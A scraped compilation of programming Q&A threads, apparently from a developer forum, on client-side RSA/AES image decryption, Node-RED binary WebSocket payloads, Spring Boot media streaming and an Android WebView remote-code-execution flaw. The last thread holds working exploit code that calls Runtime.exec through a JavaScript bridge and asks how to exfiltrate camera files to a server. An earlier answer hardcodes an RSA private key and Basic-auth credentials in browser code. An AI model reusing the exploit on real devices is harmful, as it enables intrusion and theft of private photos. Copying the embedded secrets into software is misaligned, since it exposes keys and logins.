7R08xeni2LyzbShuiGtrC5Ocqy1WgXYM5STSMiNbRHf9JfY04Y0chZLxc3r5U6DL2JgM0cjT57tYof1Vqi5zKzk9KwBR2w0=","UEthrGKi8xwfpLLoyvlF4gvd1g0LzbskZ4vDH62BRCGEXD4LKjwzoZFlSmggoCA3gCW3FOA6nIvR2U3RnAdDuUDmmiLkOmFbO2jX2hQXlxy2raJIr3V2LqkQODhKDfl93bNXC3kScFbMdV+m85kt+ojnIiaXJgifuU0tnwsaPWE=","GlU82nmfWxxyLRkGJalpAdZduaEBcnOYRX/yYJ+FdEIERk7zUynx9/b5Gor+1K5wPL18JUoix810fTrR7p0mbCIz1ULo6i/xvLRuzZSmmiaHqd88ndIZfRcoCyaVbSwsUBoGqsdFT4DrlfMblXINLnrPReTzi8rfw23AqxcsJyo=","Sa9YB1hCAa7U6CKWrE06Aq3pmyhhumE+slQigol8GlTlhZLkSDW1+ouo13a7oM5muWm5XTXHobUqp6NLiUlskssMaj+fZw/DhS7Zg4x21nMKHapRvKznHYxDd97WWxXjj8R5begHclwzKocsDOt0Q4tkeNaciGwMeJqsydleLpk=","CyUljtJTNpvdDC+8dKZrRpty8ghjzTEf63BRk/Wy22fdhWbh4/hFWe72DjUkAJlSlXKa1YjmNfywmsSvsVBrUnHfGsiHwpVc41rsHTtS65TKzCXlQbMHf3mxoH7AUdpIfWM6Mj3VVJ45K0VjU5sRHG3s/zc4/TfwPxXFYaZAzog=","fwFVoIiOw0zPcKV2SY0azNDgAem9cVPGtBqVHOTpoeraF3+UvfbIfz1q+k04HiCu4EhzRxAWej/qO1bdOhqhrlrM1XLhie4UIWuOvvPU9YhEl10vC1mwxJHcxafV+sV2ecKJgm6eL4Cr75WDCXy9mis3AXNyE8VvcKGI5/VjlDg=","pLX6+eMgTN8Dki0VeQeNeCMt+WdWcFqvJmsRaQIZs9gWqPEexYKZAR37w/Q4J0Fy2xhiIdrYAmKy+rr+QWGxRJD5Bm7ncosy54dMSIRw+2U4jKvWCGNJT+7qoSAjJxI7dEVrMnfJwnF+E5RXlwDDHpsoFrfKlEa2kyWg8N+/bXY=","DX6ovXoKM6yeN7L9VW2eCEzX8hrmhYBl6rW8Fk7HV5/YiLYixgfPeqSVKqlwr4USPprnxt6zPeO7VzdEjX/1JtSnzBmCXAFK4YgTupK7hnG3q8lPlNx1Qg1Jjnkn+UtXD8kikDbd2KXN6Ms7xrgvwle8BJ+CtbkeZ1l6W+QF6gg=","a/UJOceOWKLT+W7i5zxLnEFjnFHUoCAVZ/1YGRYPks9yyucRskxN4ny3PrmpPTO7QgnkrxLkRKRhSJmVMpYcVB4LKLVeIe7HBjDGGPZGoQBzuYDPInLcKELcBPEouyiVYF/hdpBbp7XuZngre4W8KPBtT3qHAnUQRowT5xe8Is4=","ZtjH15IvdAImUfb4QC97D6KhAoCWzuVC5gAIq1LYVNIX+hAdKpxPsRR2/4KAH4Av7Wv/MM8TMAnWDvB67USoneOxm2BYYiibDh26ld7Reu3WEohpymKszxEc0Tc6tOk+XbU7TvU5xQg/6r1ylKZ7lNM9kYabusLqWTLOq4GMM2I=","NQtKhJ3dQaGdaq8Fd6UzExBU84SXIhbT+wGr1PJ5Vs1miQ80J0TgYaYmshYoQlQkvy5hLb1YZdYsp82h/xq3vHPc0Mc9uWQ+172ZpC5AbTePR0rIMs2TZHhR6lDEQp0Cyc1RfEl4RVimOir6yJnfmGKEDYBAQ1Jo2VsRLX4ctCU=","ApyXHMvfDe4Jrh7DXMnMviAZ/xiDEicCT9gtayi3l46CGY5+BXywA0oYtCiSb3dtRJtGyCxN0x7GCLQMkSkO3MpPGDRo+J3/Z8mT5gKczKzdOe/2jtOyrru09FWpVrTjT9m8L34nN+plm3acdmU9pdxZbqXXLP3JDvCBwDd3gi0=","qkCPogYiEkHVP4wM2aTtyb5tcP9gLhdo0zHmHeiBAV8dT/8Mq76XefGVdx2J5EQeMgz6uXPgvK26Qs0xz1Kpz6S4S8wbyiHQuLex5zgNG1+vnqng1JKQMNAj6xdZ/eWdoEEn/IvaxF1FtsbTdgQpGq2ECLbytmn9ADsp+LCzGeY=","b/ZeK8BE24gKjr+Sv4G0v6PBxuJRMD+ljqb2frtY0iwKhVsKdmM7A+LnXF77Q9v/+eBaBJzelxGrsIWzXFIyxjAo99Z4eSLx/K4fSbTfmtb6onQaV/ZVO8IDArcpnIvLE1jwRqZqSgpyD8XmrdAflNm3tHkIg0DOlG20PZDlG4M=","phycwObkFgoiHkvSSzauIHO9ZMU5A0dlm95pzGOAzC02LC4C774tbBD4EfYTKci6VP+kVZioi4dqMcICGrNqK8QOcl5OPyMTOFrPlwxXVvGABnBxrKpy1sJQOD/Iye2lX/0Z1P46Vz0zQrNCcUNaXADGdTHab+U4qsVp7ZyypHE=","ds/mkGSmqjM7d+tZNjgpPmJSt54i5sN0g4NfjAdEf/iNhdXLleyIeyNyvvR3Mf9lDdRhYLXm/spqCH0RdCk2sb53q98KxVSM25rwMejszb1HeFjP6EywxycvcrQmW0T0ucmyAqxqVRWdHSPyg96eEfdDgKkuY+Mnt1VywgaiU+c=","pXuReNx4h/0TQC8BF3B0k8ru18mSfvatUf00OP36piKNhZNPkW685dc7YXFgPzvkyie7CVHcjDsjfY3Ecbcxrsx6HtN8rCwo+NczWBTWNzsod3Bv6ypPoHNxVJLC+Md5FLjet3qd6BQrE1kRe7FDUKsiFIBy2jFmkxhaq3VQn4E=","M188lD4GVbW22azNESkw3Ae/MX1QEDpBs9Eus/dHasxmIeTEh++ICEkjpIXGP30DBRokrWOdSA7yX/eSJOsdLGN4zFhI8fowonAIEIfM+EDrMShAhz7KEAwPFaFh04xj94mDvFniFTDqFjia2Ni2TyabSynDc0wFAKbbAVY/Kp8=","jsAOp30/z4ibLJWEJeVDJCgUSGMf6oIhhgppzChk/aKNn7w+MkflWml+xPUXjFYwOXh85xkhKR/CzulZitB3x+pr1IQo6XCZ/dgXPah9PbOicwEiBqKotTmEbcogYZNjcCUWl3uKgxb++4VsUQHLbWYdP0LrmLG6OksKZoZ/9bU=","Pcxn2k6kLQZPAd5uvrmZ7n2GollvMbWR2FeS77Hi/U4kYWOIxhtM1O4XHe5J5NNIpwluYqwfCgPgR3Ggnd3iwKJqSIG9Eco34kaZhoZUMSL/I3j2ORJr9l3tld87q4pUKpE4FYsOSX7pY5a5tjZ11z57oIf9tQu9FERcltYXZ6U=","JUsfP/ZqZ/LitkkFpKCT9iVJlxZ4CzMZLPwmnquku81ZRRprQeX6s6hXy8zZpmJVnsPZhRFzpgdCInmsCyjWYFHBdL/M2zqXelCwSOESuGPI5J5AsIAgHm3a0AwBSLE9lSuJPoXUV16AYeXx69LUGCTz9etD6sZTadG3EE87Sdg=","mMjHDFvAdXQyRhgQOHNyMTnpPY3JE1O9mH+U5ciAtOmSYAqz2930Pae53doh3TKY3tC6N1MT0ETmDZtHunlnMVI/bBm17IhyhIZAthoIlS+4i53e2aToyJ1vNgivCI4ufEbyQzZ9ytK+MpwnmYE6dMwxnohlw+W+thQs917ZirY=","dHKxaWtDyisj9zFUOaQeQM/YbUJI+HBAiskL6zsn1Ysn1ONKMmGfbn6SYMAuMvt4JrR73+fAluh48wwQvChYi2HiG4qnLW7tXbvyhhiT8MiChrq0IKUJhkMHKMqJGB4VbPrczHzM8jjR5jEyaCH8onfcyyb2RmpmLhf5vlVgPEY=","ij6RqDOu8Gn9hBxFoPtCns6/onG0NatWu0Jg0PDCxVF2zMSSxphD2o7pw+6JnuBmat8nwL6sD/XSm8/3+NH30PHejnGNloRjw97jCwVjuMoy4ICJR2GIaoUdyrzqq580g+BUWNAlUuurIVnjZrR5w2llmp5pP91eNHL/sUTSGvY=","bVTIQEfyAqEffE/4qDi13LsR3doQkdI0BZSRze+DSOm2WsgnySgIy8uugobbCOncvQSgPjerP6vwHzphJLc0TwnNlEDa0LA1RRUCEJY10U9oUplglOdPk5qdKWCgQy4rgeDOLfCLrHmnzb+PJpePXk0FxKdOn7zoPPsbElruU8Y=","pcaNIAbg9i+GAuGxMeHSJ4IfNeG6J4OrbOQP8+6c+zcevl3Gas3ofFdxWiUmx7nfSyI5QMP2Hfk+QXv+bvZKIi8ouxm8LBg9vOAxSiUhUlX8WSO/8m+7AQ1GdpqIl7lSc3fkb1r9byWTvLyW8RFJUrMx8RHARtmZ0y6LxMsuSaA=","IEVFnTLTc8Z/9XXyjPQTTKOgjShjvNSFK0q32dwmPZv/N/KCC7YzlWofAqQ0/nWFSQmaSZtZFM/QqiRAAk3xHQSNRQ09fM0llqdjHqA4EKKlJGkMLQ4ErD0FLrV3Awebn0IMLSFSW7ei+Vz8xOZJGTDctlKcmKqg+0YKE6EI5n8=","axajgNjWeZ9cZjJq4NKhkLb+nicTwNFOM3t2WHufe69Wh0MvC4K3s2jUzoL+qlXhMx0ZpKFg5bj9FfVg7KgUJuaFtVGvYJmaj5aMB6S/3DtWitb6n7IuhlK7fD3AgxUiVvmTY64b7L5/xPOTrCKuSMhG5XwYfGptystXxTSYqfc=","EDQpGb+i0+ENcXIlFvPgCb7/ayUv41SJmQmaXUkWj20pXQvg57Z3k1jh8smm9GbL8WL0YmGexg4d66ojEKHfPd0QK42AptutPYQQg3FkDL+MtFDdNg/9cG7xwXTIKt44XB6Kjla7M6oqAUlfmnHnaIsxUsFq20qDZdR/4NcnxnQ=","UuQZt/YHAepGMgkdWg8RYqWHfzrejB1M8im1Nl8OX8IZ3DCd76RgrE2Qa9atH8e0XwJxvXC1ZjpqgbGOh1IFnBgxKjgWYF+eWd4sG8vlk4LbkVs/AMoZV4azru2ek3zYeqM5b2LQGup0r7HCx9pUYDCB+uyEkKa2aed3kzYoIlI=","WGPa3yO6qAgrAsAorqswncwjixZsOvLzoHRkOT4Jgd+V0XdXyXskOQNYH74v35C/tXGCyXgRik3Er23+K3/NrkWOjSTxXJ4rIwAfLQyFvx9NigskeznJez2+aQjQXnGMubeG7PAwMzn00chGcTLy61xLQw2UYvvaXvsBsxqA7T8=","nHG0mcuOPT75QDJ54kF6HuXsdJOXAoz7K+ioI0F7oUQyTFY13n8f6b4VarUEHkl706LP51jgEy/RnYpCqAFK4iDU6Ama6lhJLWWikOvPC+3CAr0O4dcGfyqFxZICicgzuN4b+Y7tJLystHZDwMcBqq78NadXUIRnDayPL5d0Log=","mvFsu1KRGfYDmJBMb4lq4T+3VGkzYaHPIVCzy7f19aYsFs7aVmeM2hxjNHg0ERzoqrsnZfHcoP9PMkIYw5lR/oSkistwCrWyVbgO85CKOFxh4gSlP3zfg5iJzEHXRThxfK70y/txtSI5JxIdnHNbdWo48kr4JyFYDJw7mrTvmUM=","DAsvdeFDCiyGFSSeqyfCD0d3KvLjnbOTXZcZsyuvh/M0T+qaISrIQljlZy3Gvs98X8rnEBmuFunaGCOMr8EJ4HtkS5MF/XsZMtCoQtRk4Y7AnwuS+8IZ0aT3mBzgQAbu9SccgODDxIvltOO34FXPb2kli8PsNM9LPJAf7cTb2NA=","MpC/80NSahcHATkKzAxJ1SCYROnqsmVOWXRvzWnSTsA8l1Q10HX7JlVUeXrjAQghp7iL2rcG3R2oUzcb4H8VsabTU1oiqi/tz0QkAxc37eYV1Oh05F/+/pasJiTmnPeTTli8Ub4cIijq9dz4RVGG5d6qQy1ILXF8PxDEJkOZ1YI=","NBswb71WYSuaFGmPJO+5Wx1VNKaOJLQZX326ANWZhUOV7Jrxjus03WOPp8d0UN5az3aimWdMP7PIWHZSZMCK4KkmYlqgKF24FXvv0K7YteUGenp42g5KbqBEAgV19Dzc8WeddX5Bc7ml7nlKyhlGIu0PqEnYKqEuXYf9qmxLGpg=","GPcjIoJsgr3yoAx2f17TtIT8ugskdWMCJV8N9I9Z94wMuY9WRkaUDABWB1FGoNxESMWcF49uYiiOEmvYFVghs4//zRgROA4ENvru/hxqVOgoaN5Pum95IGhDaoJMKPwGbJAaCdbuY5+cG5vupCR3SonVMKvjsfsi7CASxYLFF/g=","HKnU/Hz0zgrNz2Y/F/5WnLS8R2MFPEcM35uLSMYsjrA4Baw+gSNGw3iSxaEKRKfFJZrrSEVQzAGhxYVbXblJh2sE7YliOdSAyZ2j2o0kC6BmmmJkGibqi82OYyzKyRErzh8xzRuR5rdkzHCdSPbjkdhAmJuYjHCkQ1AkwrCm8J8=","F9EWp9e5qakVwcqfkveOSrizA3VvXqSpIAx6qgEkd4FONU6lH9NxgOh/IZXFpT2sNAUES4lkum6FBdRQEAgPg+fIBIucyx83uT2Cw7C6sJlpLbbfdM9kweWrYblv3WRFK+E5IiOMZtBhwEaQBS8ZNMrv64VbIHQZ9UXrSH4z/gU=","IP7rUlh6CP+GHyl9J/zp9OX0ZxTZYloM4kZ7UpnSqGgkEdNFDV5zHPjLfg7FyqtjTYdbigWJwUB1KqyZkBgQgkzbw/z0VF9BuGoKJR0Lz6CncUGcFrA/JyqGasyYISaMGywhB7l70wvo2ulUoDxFMVSq6L6UXVvOWl+r8Q6x9/E=","UCZqRhlw4sDoRQ9a6RW05ejpuQlBEFqivjHBCUGWKFJe4GB5EE/cUz0y777pNrvSggF4KksO+OIjmZpi95GiS5uOkQTn9h3Z6XGD9VE6yo/uWHlVVdzd08TmSwQGRqM+NxLFjblmgd6WCrtXLybm3pb4AuDFqu3TgEt/NoZ5SQ0=","Byc+2qLxaZujf3moVYnVwjRjkssxE2PSl8Mrz24EwD4cBuQnatFsnNvzoXUXgc15ioYRJWgGpYIUdJRXZoswAIUISZZ1AKhKx08jLoI3bFdJYtAfxWbTU7LZtcu6uiS45bTiuDKVxlIbTodbsxnPYCMq6kfVX7yiv2EgY0cPTHk=","aVs8i40CGtnyKzmSvhMhVBWgVt1h2sCL/+urupYKvlFk03clCdmFa9zGd9ZP3mxdo1vhAKGGoyR85+oKV9O9L7lPAFlSFNWUNYtIXZ1tOqKVRn+9/ti7oO2yLGGrL5MD/XBO0sIPbVU8M/3PPM7KS6vTz4rFKixbo+Qgcv0ulGE=","FsVg6FpLMc8mdUhqWWBbtRLUnOZuZowJD73VP+3yvN8PVFUOTndULvIm1otrpowXqMXdGEozcEt8xHo444NV98wZfSws+mXexPW718nLg1oBP9gx5YYzIuPXdi54Gc9PYlPkdkp9TJrSFkoyD3xG4r3WXBf2CfM3vV0RyOrOE2w=","BciCcIVwVHkuxY/Q1XZ9thFvwephi7wxInX1slzJjb0MaKlS1+kOSwab3eqkGpxQSdzxpn0t1zprRuVMXmuZ1aw7dKo2zdFH5pF5P235skCV2u3dlt8qK0xYgj6NOWZgqtse+QlFtFcyzZQFSMmbNTM2oGIonR81/cFL4rVc7dg=","QadoMq8sc1wl1tm1IffyIXuzvWizaloZ5XsKybqHP5ItZGLtIsVTP4BNIgVedgfxQTiPmrENe3ExyPeZia8wqblYvLXqUfm5K02xrL15I6jp7ZftNzmhTJqMY8WgHrT/9SmZpPPa1sEGQiVXE5c3EHndppVoIkgAmqf9Ar2Y4ck=","WMtmRXS19GuLmwTlUsdhSFbYRFiqGsA/fDGUR1pQpk1kiFAMcjuJZqb5Swv4vhfoLSpsqdLf+c4MhsKRDGHfDrywV66XVF3ju+tHmv5BoKTx6tMV0+4jsDydRq9qhpGw6oYv+arV7pu43ma9wZu4hO7zNrOBFL07TD6IOO0Jzy0=","B5wDsciclfHpDOwo4l2BNL6KIYoHyvzip/rBgE7EDQdIsYJANlcl461+SqE+faF/QJHuwKh5jyxxzFVGGlDGxJMbO2fnsNH07fF+pw+3rhFkGC6Js2MfULdTNZld7JSakL7VKSIO65ze/tHq1hUtjuGDmopRXDJsf8tKo424vHI=","WHYCopiWkqkYzExrnTovtfmQdV/SLgnpGHZlVCVb3tSboIssteS3jkNGIfylJjN5N4+7HiFFu40xEDORwPnOvskROrLNbk4Obfb94SXxYAOxS2F3HuHv8GimnIeeTZfjeYF+qAG+r30tM2YetiBMIRTuCX8scHhrY9mlA4w6xgM=","AK8YzdYxlGdytVT8P2Ui/VUSGnyYOeBcboIOG7IzfllWJfs21dfpscUGvMrUiKqZS7i6WlXHUSYudlaeZq7cCm3xqkcf4vfwoz6At7RCmiIhWqnqkjjJJhxjIyVIJbrFT7P5VEkK9YrJ3eS9S+5bCjTeUVaWyQxuWjbw2o5gy/8=","mL/cOyxDFRLspoLmF4mmVpy8jHWt8I6uyNaEhcVN5mPeyb85ABbxw/JVjle2dwUhF4Pa+sWplZeIMh76JyUnDxro8TtIgG9WEhrHGOtlY+Hll/dR3WMhCRKYyz9SdGJTgsZYG3H+clos/cjV2T509Zfr+HRdSEZxEeXiL+yCX6U=","BDApLXXwSVSApjCF7T6LjP6R2TAc9QrxGVtS8y0baW+GxfEmCfr/BTDI9IHy2ON0GN6xeJvhRSMe6K8mWcJ6yyf2AlNgEnKyHlccrhBAFJ53QsHM0rcvAkYqVPiFPVXeZcraR8wTx99eCMEBZwTELFp6rnXKuYU09pN+KW9L7xg=","TR1tz36rJrtUYUFOqK7A9Cnk4w7HiuvqDKyrUX8i4jkKNYFsLcfaOgBJApBSEjJGoCiew/WjI3x5vgAG+CTx+LTiRWcluTy21aQXdDEjgiyBYJs5ykbfeomXkcCWNENWVtLU0H/ccgTmBFknYwbfUu4K8ZEJZzQy0Ofy/Z+fOtY=","RX7eAauCqgeVjHpS5buZiTnBVZHgBmxkxqmkbKDbJEgfwl+0On0jBVIQNDwYW/JoR2y8xwbHFToGZ4sP+k1vY6bXCeT7IGgv+GbJaS3VlrD7plk/JzeWTdd9Hu7ApkPp4S43jTKwBrwvUD/2gzOYXoWDt8hpvyCLPWpA1rh5+3c=","cGp6i+siSybph+hRaOcjctCGbH0bCVlkHjej2mHZMPutTBiNueOUeOw5jCm7w9ngc84BBl/90JlA/9U0mTSh8K7yhgi8dgHWK5pDo+BesPiv5r0Ga4hT9+OYIV7wX8yhiDc8izeyR51/m5Sqvwl/KEUm1+wqOa+jh4FwfMoQnms=","MCMmu0NtDQ112SPMOt2RPirgiflHTjTpwVWGPn+uihp6HTvozzB57OsrWR0sVDf2mUfukkiJqE9KmVsx9Uujby5ekCLfCw7GICEn6m3yJDTW2Nrv/sBDtG1J04JOGAFL32+ZU4DYT1XvNqwVY9UXzzlqNHkadO28Es86RrGvSzU=","SzJmkf3exPTbEk6lmOkHiIY/l95h09MFMAjZesEFUbX9LgWAaYMdFn6c8dH+JgDhmu2a+W2EKtIv64/N7t52RabOQVAA/0iGI6LPevhPjiBWD2D5/AoM+xF0Cl+uBrpHCEhoMK5MK28HVgl9EXDaT4KtELeC48TUJI3WivmEhtA=","fD1TDxNGjDhwQRM1pWb9Xmtd0agPE0n5V8+it+qSyqutLDtZ98GsTSXZSjhgA2+x059+MEm0d6r/TKZL2br4iD4JRG22cQfls55zxFiwBi6HfB4Iyc5Mkt6ffwp96A7eEK/da4II4MqPzYf9lold3bW8/8fMTtNF9CwViiSZiiY=","IvJ/9aKWsUrjmxtCtRoaGMTWM1K80Yz8Suxm6wb8MfBqDUG2Hr+MhmTLsKzfAWtHQJgyx9CixOrrxxuvORZDikCOq8Cl+JIjEM+K0V7SUpNbdVIs8pr1Opapc8ro9BHy8+bseMRrUjig92psVxQVK62srjPNrk11PT2XzRtwKYA=","cuASUt2Uc+DqavAMvPnSu3ANPPAzZ6EAximqtWWSbCHj3kX+9gTMLaDMRPsHh3RpoB3SfqFkZLebJoS2OTskIcafCDpadfVGFOENcvlImnBNnBifPZApVi0JdJQA1DFyQQREVBNAwJud4jyB+Mm7T5HMMsyuwF9xRSXIaNHvO1s=","ehhMS+vXJ0PMUVwOprXHmLI7QUz41COBvYMTv0hLvZjsJQx4gSEyLKxalC28ofDvne0/X2DTI4VJAXlhsbTN02ab6KRsfixlsHhl0H9ljM6t/0M+F+4DYAidij6itTpxzEhHQ6em6zTnbJn0H6hHUQhF6gSHgzoCW1bhqrzm7vY=","QEQEpfd18cU+ZakCU9LPsf8GWeg6EllwD12qJEb5SY2fUWzlRC1TmEkaddi0AX/0xRccY14FOuVB6HrqpeAJv2wR32dr1Y9qstwdhrF6P08oSMTL6DDoCiKyOHlnPUb1N5b7/80i96Ebnujtdpa5jMZ3P0NhQFntlaSb497eSIw=","YX0eXLpzR7tSlMjBkdoYzyqWwZ3ojzCS70B9U5cUkTaxLqtwo2jB95nU42aHXToRZrHZvD4k5Oi6RCQRVwM5htoclLa/eCe0tm6McdLbhGbFjywteJ2B6As08TtxRiRcNHCIv0TkyKEeCQOMceU/lNyVrUSQfL32FOHT5LybIkM=","StnkaydVgI0r+mMsUXbBposg5mKu0ysEk2kcnIjaeCH8BBKWcIwysRC53upITmcze+qNCjtg7MXQjguftTbpdBM/hFRPjJ6p058AZNBxtzqDi3jZ01bIk4qkMV7ZcT0kDvmjJd4EoYyLzdM9sb5vtC7zmX7A8OuJyQREZKyJpS8=","XROjq92iUff91yFqYvmA1evnr1vq+E7CUWil4aWrMvAKr5zipYW8BTRoWgCmbYbFqOQt9lcVkI4EIOGSWVhWW6frRcFrn6ZDdyPtepn67KLynr8+C2leDAnb4MiGij/OarDGvLnDQPXDJSgbK993T16Et4tPGcF2li4cRjLMXq4=","NrHgOCjQJQenerVkBXLEjomju5j9ljPQl8KT14x6qK8wSCWk3jCZnXc0E7Tvv0cfu126EOIqxGWE/wlucllI9w0V+BiPE6DJu+s/moMaUow+4Jmp1FHbrFS2Qmbv2RsZ3yQEVwly0Bgtc8ayIerymTAJJJ77D/LleLAdhtOnoBA="]);
log = function () { console.log(arguments); };
function fib(n) {
return n;
};
r.map(decrypt.decrypt).then(log);
</script>
</html>
It is possible to utilize multiprocessing in the browser, but browser support is pretty porous, and it will probably feel like a hack. You'll need to use a browser that creates a new process for each tab, and that supports shared worker threads. So basically, Chrome.
Using a Shared Worker object will allow multiple tabs or Windows to share data. So all you need to do is create a script that decrypts a portion of the image (decrypt.js), and sends the clear data back through the worker. Then, have your main script open a few new tabs running decrypt.js and send each one the data to crunch.
However, there are still nuances. The message passing across processes will impact performance for large objects since they must be copied. This can be relieved using Transferable Objects; essentially, you'll have to manage formatting your data into an array buffer and back again.
Also, the browser will probably give those tabs a low execution priority or stop them all together, depending on the implementation. In that case, you'll have to create a worker thread that posts a message to the main thread at regular intervals, for each tab.
This is all assuming that the encryption algorithm you're using can be done in parallel, and that the JSEncrypt library supports it...
My suggestion: decrypt in a standard, dedicated worker thread and show a loading bar. 10 seconds isn't that bad when there's something pretty to look at ;)
Following worked for us as suggested by Artjom B.
We have used AES and RSA encryption here.
<script>
function load_image()
{
var xhr = new XMLHttpRequest();
var img = document.getElementById("image");
var url = "url";
xhr.open('POST', url, true);
xhr.responseType = '';
xhr.setRequestHeader('Authorization', 'Basic ' + btoa("john:secret"));
xhr.setRequestHeader('Access-Control-Allow-Origin','*');
xhr.onload = function(e) {
var test = JSON.parse(e.currentTarget.response);
var response = test.m_Item1;
response = response.replace('"','').replace('"','');
var decrypt = new JSEncrypt();
decrypt.setPrivateKey('-----BEGIN RSA PRIVATE KEY-----\n'+
'MIICXAIBAAKBgQCsqVGJUP6PhkjLSk3BkVRxg9ikUMZjN1BLS+HmEcjlVbkbsSuO\n'+
'K9uMmtZ7rkmL5aXcLxzNS1fexlr/ixvHeaK43KDXxob5drxcwCaRpadm4JjEKWiG\n'+
'ExbRUIorzFRqxCKFTwXRLerXhyFrfTqv/XNA2F94XwWBNuE8cs9S0ude9QIDAQAB\n'+
'AoGAPMzq/3XcDmJ1I9EojG9G0ypgkYw4MBv8VGeGRuQgYFHNe2jqM4hSKbMksCzx\n'+
'jSfzPhQBCnHroXEr/izYPWgh2m73737TYMHN5UVp9Kt/D1Kg/CUu6SDB6L6hbSYK\n'+
'YkWwifBtPzNcpF9cy7DPVaFGEeCkBroy86VcoQ/cVR7Vk8ECQQDapO2ve9Y332al\n'+
'iW7+2rFxSOeXwdofAlGpv378rAUIWrkGH11a4AtXInaPlty3td225IE6SyJu6trU\n'+
'4ookVNtZAkEAyikwrR6fDOqBPNrVKclfLjdFdfOhVIgdDXcD9lUhmcLJxF9NPKAW\n'+
'cVeCloFuw8eaHv8h2SrUt2itTw/N3ERY/QJAXP8XhbNTezJPM4uQJWAZZwjOUJMI\n'+
'VnYjC+NCfPAht9r2pa8DgxqWWDp1WT+eo5j8M8VfXc8FV04XQ8MTZL6fCQJBAKCY\n'+
'RCDiuHrsN6p+NOQzIjd2lOl0lu6uClZN+4nOaxjY0qv7AUJt8iYr3INvYuyIPfjt\n'+
'uJfqHH1u3G54IZMfgIkCQHBNzxAMO1upPNl5pbzw8KZyNavk9F+uYa3M54cpIw2H\n'+
'uO34E31dml3/77FAaCe8lIo2ezs+nbYVC2nNQZmGtGs=\n'+
'-----END RSA PRIVATE KEY-----');
var uncrypted = decrypt.decrypt(test.m_Item2);
console.log(uncrypted);
var base64Key = uncrypted;
var baseiv = uncrypted;
var iv = CryptoJS.enc.Base64.parse(baseiv);
var key = CryptoJS.enc.Base64.parse(base64Key);
var decryptedData = CryptoJS.AES.decrypt(response, key, {
keySize: 128 / 8,
iv: iv,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
} );
var decryptedText = decryptedData.toString( CryptoJS.enc.Utf8 );
document.getElementById("image").setAttribute("src","data:image/png;base64,"+decryptedText);
};
xhr.send();
}
</script>

Node-Red Send Binary

I was just introduced to Node-Red after asking around for some suggestions on an IoT setup. I have a piece of javascript code that is sending data to a web socket. The code that it is sending is in a HEX format and is sent to the web socket.
I am trying to replicate this using node-red and I am having some trouble figuring out which node to use for sending the data.
Vanilla Javascript:
function connectToSocket() {
// Try to connect to the socket
try {
// Create our socket connection
connection = new WebSocket('ws://' + gatewayIP + ':8000');
connection.binaryType = "arraybuffer";
// Failed to create the socket connection
} catch (e) {
// Log error message
logMessage('Failed to connect to socket');
return;
}
}
connection.send('\x02\x00\x01\x04\x26\x2D');
I have tried sending this as a string and json object as msg.payload but it is not triggering the device as I expect it to such as when I run the normal JS function in a browser.
What would be an appropriate format to send this hex string in?
What you want to send is a buffer and the inject node can't generate a buffer at this point. The easiest way to do this will be to insert a function node between the inject and the WebSocket Out node.
The function node should contain something like:
msg.payload = Buffer.from("\x02\x00\x01\x04\x26\x2D");
return msg;
This will swap the payload for a buffer with the right values.
EDIT:
For NodeJS 0.10.x you should use something like as Buffer.from() was introduced in NodeJS 4.x:
msg.payload = new Buffer("\x02\x00\x01\x04\x26\x2D");
return msg;

How to stream media content from Spring Boot endpoint for javascript client

I have a spring boot rest service with endpoints defined like this:
#RequestMapping(value = "...", method = RequestMethod.GET, produces = MediaType.IMAGE_JPEG_VALUE) //and octet for videos
#ResponseBody
public ResponseEntity<byte[]> get(...) {
//get image as byte array and return
}
And the client side in javascript (angular) :
var headers = {headers : {..., "Accept":"image/jpeg"}}
var response = $http.get(...);
obj.imageSrc = 'data:image/jpg;base64,' + response;
obj.Image = new Image();
obj.Image.src = obj.imageSrc;
What I require
I thought this endpoint would behave like a regular image file on a file server so that the client can just do a get on it (for reasons outside the scope of this question, it can't actually be a raw image to access with a URL). Apparently this isn't the case - the byte array has to be converted to base64 (is there a way around this, since the array becomes much bigger), which has the effect of rotating the image. I wrongly thought getting an image from an API like this in javascript would be easy :(
Secondly, doing it this way means that javascript has to download the entire array. Is there a way I can define the endpoint to allow for a stream so that javascript can get it in chunks (I imagine both Spring and JS have utility functions that would handle this?)
The basic underlying question
How do I implement this properly in Spring so as to be as Javascript friendly as possible? Bearing in mind I want to serve both images (~5MB) and videos (~100MB)
Thanks in advance.
EDIT
Perhaps I should be using FileResourceStream as the return type? No idea if this is the "right" way.
1) Don't use a data url. Use the direct url of your controller-method.
2) Write directly to the http-response's output:
#RequestMapping(value = "/dyna.jpg", method = RequestMethod.GET, produces = MediaType.IMAGE_JPEG_VALUE)
public void getImage(HttpServletResponse response) {
//write byte-array or -stream to the response using
// response.getOutputStream()
}
P.S. In case you really need the data url there is no otherway around as you do it, since they require the base64 encoding

Handle the output of 'cat example.png' in JS

I am trying, out of interest, to do some remote code execution on my old Android phone. On old versions of the Android "WebView" component, there is a vulnerability that makes it possible to execute shell code and read the response via JS. The relevant code, taken from here, looks like this:
function execute(cmdArgs)
{
return SmokeyBear.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
function getContents(inputStream)
{
var contents = "";
var b = inputStream.read();
while(b != -1) {
var bString = String.fromCharCode(b);
contents += bString;
b = inputStream.read();
}
return contents;
}
[...]
var p = execute(["ls","/mnt/sdcard/DCIM/Camera/"]);
input = getContents(p.getInputStream());
In this example, we list the files in the Camera folder and store them into 'input' as a string, which worked fine for me.
I have read however that the same vulnerability could be used to exfiltrate whole media files. The problem is that I do not know what type of data I get if I just remote-execute 'cat /path/to/example.png' on the phone. I want to submit the data to my (Python) web server. I tried running the above code, converting the bytes to a string (which contains a lot of gibberish), send the string via an XMLHttpRequest, then on my server just save that string to a binary file. That didn't work, obviously. I strongly suspect I should base64 encode the whole thing before transmission, but I don't even know how to retrieve the raw byte array from p.getInputStream() . It doesn't help that google doesn't give me any meaningful results for 'javascript inputstream' at all ...

Categories